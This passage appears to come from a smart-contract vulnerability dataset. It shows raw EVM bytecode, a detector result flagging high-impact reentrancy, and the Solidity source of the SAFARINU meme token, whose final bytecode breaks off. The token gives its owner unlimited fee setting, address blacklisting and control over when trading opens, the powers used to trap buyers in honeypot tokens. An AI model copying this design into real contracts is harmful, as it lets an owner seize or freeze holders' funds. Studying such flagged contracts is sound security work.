ffffffffffffffffffffffffffffff1614155b15611e3057600854600c81905550600954600d819055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611edb5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611ef357600a54600c81905550600b54600d819055505b5b611f0084848484612405565b50505050565b6000838311158290611f4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f4591906131bd565b60405180910390fd5b5060008385611f5d91906135b6565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611fba60028461243290919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611fe5573d6000803e3d6000fd5b50601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61203660028461243290919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612061573d6000803e3d6000fd5b5050565b60006006548211156120ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120a39061321f565b60405180910390fd5b60006120b661247c565b90506120cb818461243290919063ffffffff16565b915050919050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612131577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60405190808252806020026020018201604052801561215f5781602001602082028036833780820191505090505b509050308160008151811061219d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040160206040518083038186803b15801561225b57600080fd5b505afa15801561226f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122939190612c48565b816001815181106122cd577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061233430601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461151d565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004016123b49594939291906133ba565b600060405180830381600087803b1580156123ce57600080fd5b505af11580156123e2573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b80612413576124126124a7565b5b61241e8484846124ea565b8061242c5761242b6126b5565b5b50505050565b600061247483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506126c9565b905092915050565b600080600061248961272c565b915091506124a0818361243290919063ffffffff16565b9250505090565b6000600c541480156124bb57506000600d54145b156124c5576124e8565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b6000806000806000806124fc87612794565b95509550955095509550955061255a86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127fc90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506125ef85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461284690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061263b816128a4565b6126458483612961565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516126a2919061339f565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b60008083118290612710576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161270791906131bd565b60405180910390fd5b506000838561271f919061352b565b9050809150509392505050565b6000806000600654905060006a084595161401484a00000090506127666a084595161401484a00000060065461243290919063ffffffff16565b821015612787576006546a084595161401484a000000935093505050612790565b81819350935050505b9091565b60008060008060008060008060006127b18a600c54600d5461299b565b92509250925060006127c161247c565b905060008060006127d48e878787612a31565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061283e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611f06565b905092915050565b600080828461285591906134d5565b90508381101561289a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128919061329f565b60405180910390fd5b8091505092915050565b60006128ae61247c565b905060006128c58284612aba90919063ffffffff16565b905061291981600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461284690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612976826006546127fc90919063ffffffff16565b6006819055506129918160075461284690919063ffffffff16565b6007819055505050565b6000806000806129c760646129b9888a612aba90919063ffffffff16565b61243290919063ffffffff16565b905060006129f160646129e3888b612aba90919063ffffffff16565b61243290919063ffffffff16565b90506000612a1a82612a0c858c6127fc90919063ffffffff16565b6127fc90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612a4a8589612aba90919063ffffffff16565b90506000612a618689612aba90919063ffffffff16565b90506000612a788789612aba90919063ffffffff16565b90506000612aa182612a9385876127fc90919063ffffffff16565b6127fc90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612acd5760009050612b2f565b60008284612adb919061355c565b9050828482612aea919061352b565b14612b2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b21906132df565b60405180910390fd5b809150505b92915050565b6000612b48612b4384613454565b61342f565b90508083825260208201905082856020860282011115612b6757600080fd5b60005b85811015612b975781612b7d8882612ba1565b845260208401935060208301925050600181019050612b6a565b5050509392505050565b600081359050612bb081613b7a565b92915050565b600081519050612bc581613b7a565b92915050565b600082601f830112612bdc57600080fd5b8135612bec848260208601612b35565b91505092915050565b600081359050612c0481613b91565b92915050565b600081359050612c1981613ba8565b92915050565b600060208284031215612c3157600080fd5b6000612c3f84828501612ba1565b91505092915050565b600060208284031215612c5a57600080fd5b6000612c6884828501612bb6565b91505092915050565b60008060408385031215612c8457600080fd5b6000612c9285828601612ba1565b9250506020612ca385828601612ba1565b9150509250929050565b600080600060608486031215612cc257600080fd5b6000612cd086828701612ba1565b9350506020612ce186828701612ba1565b9250506040612cf286828701612c0a565b9150509250925092565b60008060408385031215612d0f57600080fd5b6000612d1d85828601612ba1565b9250506020612d2e85828601612bf5565b9150509250929050565b60008060408385031215612d4b57600080fd5b6000612d5985828601612ba1565b9250506020612d6a85828601612c0a565b9150509250929050565b600060208284031215612d8657600080fd5b600082013567ffffffffffffffff811115612da057600080fd5b612dac84828501612bcb565b91505092915050565b600060208284031215612dc757600080fd5b6000612dd584828501612bf5565b91505092915050565b600060208284031215612df057600080fd5b6000612dfe84828501612c0a565b91505092915050565b60008060008060808587031215612e1d57600080fd5b6000612e2b87828801612c0a565b9450506020612e3c87828801612c0a565b9350506040612e4d87828801612c0a565b9250506060612e5e87828801612c0a565b91505092959194509250565b6000612e768383612e82565b60208301905092915050565b612e8b816135ea565b82525050565b612e9a816135ea565b82525050565b6000612eab82613490565b612eb581856134b3565b9350612ec083613480565b8060005b83811015612ef1578151612ed88882612e6a565b9750612ee3836134a6565b925050600181019050612ec4565b5085935050505092915050565b612f07816135fc565b82525050565b612f168161363f565b82525050565b612f2581613663565b82525050565b6000612f368261349b565b612f4081856134c4565b9350612f50818560208601613675565b612f59816137af565b840191505092915050565b6000612f716023836134c4565b9150612f7c826137c0565b604082019050919050565b6000612f94603f836134c4565b9150612f9f8261380f565b604082019050919050565b6000612fb7602a836134c4565b9150612fc28261385e565b604082019050919050565b6000612fda601c836134c4565b9150612fe5826138ad565b602082019050919050565b6000612ffd6022836134c4565b9150613008826138d6565b604082019050919050565b60006130206023836134c4565b915061302b82613925565b604082019050919050565b6000613043601b836134c4565b915061304e82613974565b602082019050919050565b60006130666017836134c4565b91506130718261399d565b602082019050919050565b60006130896021836134c4565b9150613094826139c6565b604082019050919050565b60006130ac6020836134c4565b91506130b782613a15565b602082019050919050565b60006130cf6029836134c4565b91506130da82613a3e565b604082019050919050565b60006130f26025836134c4565b91506130fd82613a8d565b604082019050919050565b60006131156023836134c4565b915061312082613adc565b604082019050919050565b60006131386024836134c4565b915061314382613b2b565b604082019050919050565b61315781613628565b82525050565b61316681613632565b82525050565b60006020820190506131816000830184612e91565b92915050565b600060208201905061319c6000830184612efe565b92915050565b60006020820190506131b76000830184612f0d565b92915050565b600060208201905081810360008301526131d78184612f2b565b905092915050565b600060208201905081810360008301526131f881612f64565b9050919050565b6000602082019050818103600083015261321881612f87565b9050919050565b6000602082019050818103600083015261323881612faa565b9050919050565b6000602082019050818103600083015261325881612fcd565b9050919050565b6000602082019050818103600083015261327881612ff0565b9050919050565b6000602082019050818103600083015261329881613013565b9050919050565b600060208201905081810360008301526132b881613036565b9050919050565b600060208201905081810360008301526132d881613059565b9050919050565b600060208201905081810360008301526132f88161307c565b9050919050565b600060208201905081810360008301526133188161309f565b9050919050565b60006020820190508181036000830152613338816130c2565b9050919050565b60006020820190508181036000830152613358816130e5565b9050919050565b6000602082019050818103600083015261337881613108565b9050919050565b600060208201905081810360008301526133988161312b565b9050919050565b60006020820190506133b4600083018461314e565b92915050565b600060a0820190506133cf600083018861314e565b6133dc6020830187612f1c565b81810360408301526133ee8186612ea0565b90506133fd6060830185612e91565b61340a608083018461314e565b9695505050505050565b6000602082019050613429600083018461315d565b92915050565b600061343961344a565b905061344582826136a8565b919050565b6000604051905090565b600067ffffffffffffffff82111561346f5761346e613780565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006134e082613628565b91506134eb83613628565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156135205761351f613722565b5b828201905092915050565b600061353682613628565b915061354183613628565b92508261355157613550613751565b5b828204905092915050565b600061356782613628565b915061357283613628565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156135ab576135aa613722565b5b828202905092915050565b60006135c182613628565b91506135cc83613628565b9250828210156135df576135de613722565b5b828203905092915050565b60006135f582613608565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061364a82613651565b9050919050565b600061365c82613608565b9050919050565b600061366e82613628565b9050919050565b60005b83811015613693578082015181840152602081019050613678565b838111156136a2576000848401525b50505050565b6136b1826137af565b810181811067ffffffffffffffff821117156136d0576136cf613780565b5b80604052505050565b60006136e482613628565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561371757613716613722565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f544f4b454e3a20416c726561647920656e61626c65642e000000000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613b83816135ea565b8114613b8e57600080fd5b50565b613b9a816135fc565b8114613ba557600080fd5b50565b613bb181613628565b8114613bbc57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a4cc713fe3bdfa659e0311a9fc6d72ff8a105726ba00b297a4880be947764ccb64736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 10,576 |
0x94b0249a8a919c23a11d0fd04b2d9f4213ea8c9d | // SPDX-License-Identifier: Unlicensed
// https://t.me/safarinu
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract SAFARINU is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "SAFARINU";
string private constant _symbol = "SAFARINU";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e13 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 13;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 13;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping (address => uint256) public _buyMap;
address payable private _marketingAddress ;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 200000000000 * 10**9;
uint256 public _maxWalletSize = 200000000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
_marketingAddress = payable(_msgSender());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to]);
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize);
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function initContract() external onlyOwner(){
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
}
function setTrading(bool _tradingOpen) public onlyOwner {
require(!tradingOpen);
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) external onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
function toggleSwap(bool _swapEnabled) external onlyOwner{
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner {
require(maxTxAmount > 5000000 * 10**9 );
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101db5760003560e01c80637d1db4a511610102578063a2a957bb11610095578063c492f04611610064578063c492f04614610545578063dd62ed3e14610565578063ea1644d5146105ab578063f2fde38b146105cb57600080fd5b8063a2a957bb146104c0578063a9059cbb146104e0578063bfd7928414610500578063c3c8cd801461053057600080fd5b80638f70ccf7116100d15780638f70ccf71461046a5780638f9a55c01461048a57806395d89b411461020957806398a5c315146104a057600080fd5b80637d1db4a5146103f45780637f2feddc1461040a5780638203f5fe146104375780638da5cb5b1461044c57600080fd5b8063313ce5671161017a5780636fc3eaec116101495780636fc3eaec1461038a57806370a082311461039f578063715018a6146103bf57806374010ece146103d457600080fd5b8063313ce5671461030e57806349bd5a5e1461032a5780636b9990531461034a5780636d8aa8f81461036a57600080fd5b80631694505e116101b65780631694505e1461027957806318160ddd146102b157806323b872dd146102d85780632fd689e3146102f857600080fd5b8062b8cf2a146101e757806306fdde0314610209578063095ea7b31461024957600080fd5b366101e257005b600080fd5b3480156101f357600080fd5b50610207610202366004611a4f565b6105eb565b005b34801561021557600080fd5b5060408051808201825260088152675341464152494e5560c01b602082015290516102409190611b14565b60405180910390f35b34801561025557600080fd5b50610269610264366004611b69565b61068a565b6040519015158152602001610240565b34801561028557600080fd5b50601354610299906001600160a01b031681565b6040516001600160a01b039091168152602001610240565b3480156102bd57600080fd5b5069021e19e0c9bab24000005b604051908152602001610240565b3480156102e457600080fd5b506102696102f3366004611b95565b6106a1565b34801561030457600080fd5b506102ca60175481565b34801561031a57600080fd5b5060405160098152602001610240565b34801561033657600080fd5b50601454610299906001600160a01b031681565b34801561035657600080fd5b50610207610365366004611bd6565b61070a565b34801561037657600080fd5b50610207610385366004611c03565b610755565b34801561039657600080fd5b5061020761079d565b3480156103ab57600080fd5b506102ca6103ba366004611bd6565b6107ca565b3480156103cb57600080fd5b506102076107ec565b3480156103e057600080fd5b506102076103ef366004611c1e565b610860565b34801561040057600080fd5b506102ca60155481565b34801561041657600080fd5b506102ca610425366004611bd6565b60116020526000908152604090205481565b34801561044357600080fd5b506102076108a2565b34801561045857600080fd5b506000546001600160a01b0316610299565b34801561047657600080fd5b50610207610485366004611c03565b610a5a565b34801561049657600080fd5b506102ca60165481565b3480156104ac57600080fd5b506102076104bb366004611c1e565b610ab9565b3480156104cc57600080fd5b506102076104db366004611c37565b610ae8565b3480156104ec57600080fd5b506102696104fb366004611b69565b610b26565b34801561050c57600080fd5b5061026961051b366004611bd6565b60106020526000908152604090205460ff1681565b34801561053c57600080fd5b50610207610b33565b34801561055157600080fd5b50610207610560366004611c69565b610b69565b34801561057157600080fd5b506102ca610580366004611ced565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105b757600080fd5b506102076105c6366004611c1e565b610c0a565b3480156105d757600080fd5b506102076105e6366004611bd6565b610c39565b6000546001600160a01b0316331461061e5760405162461bcd60e51b815260040161061590611d26565b60405180910390fd5b60005b81518110156106865760016010600084848151811061064257610642611d5b565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061067e81611d87565b915050610621565b5050565b6000610697338484610d23565b5060015b92915050565b60006106ae848484610e47565b61070084336106fb85604051806060016040528060288152602001611e9f602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906112e5565b610d23565b5060019392505050565b6000546001600160a01b031633146107345760405162461bcd60e51b815260040161061590611d26565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461077f5760405162461bcd60e51b815260040161061590611d26565b60148054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316146107bd57600080fd5b476107c78161131f565b50565b6001600160a01b03811660009081526002602052604081205461069b90611359565b6000546001600160a01b031633146108165760405162461bcd60e51b815260040161061590611d26565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461088a5760405162461bcd60e51b815260040161061590611d26565b6611c37937e08000811161089d57600080fd5b601555565b6000546001600160a01b031633146108cc5760405162461bcd60e51b815260040161061590611d26565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa158015610931573d6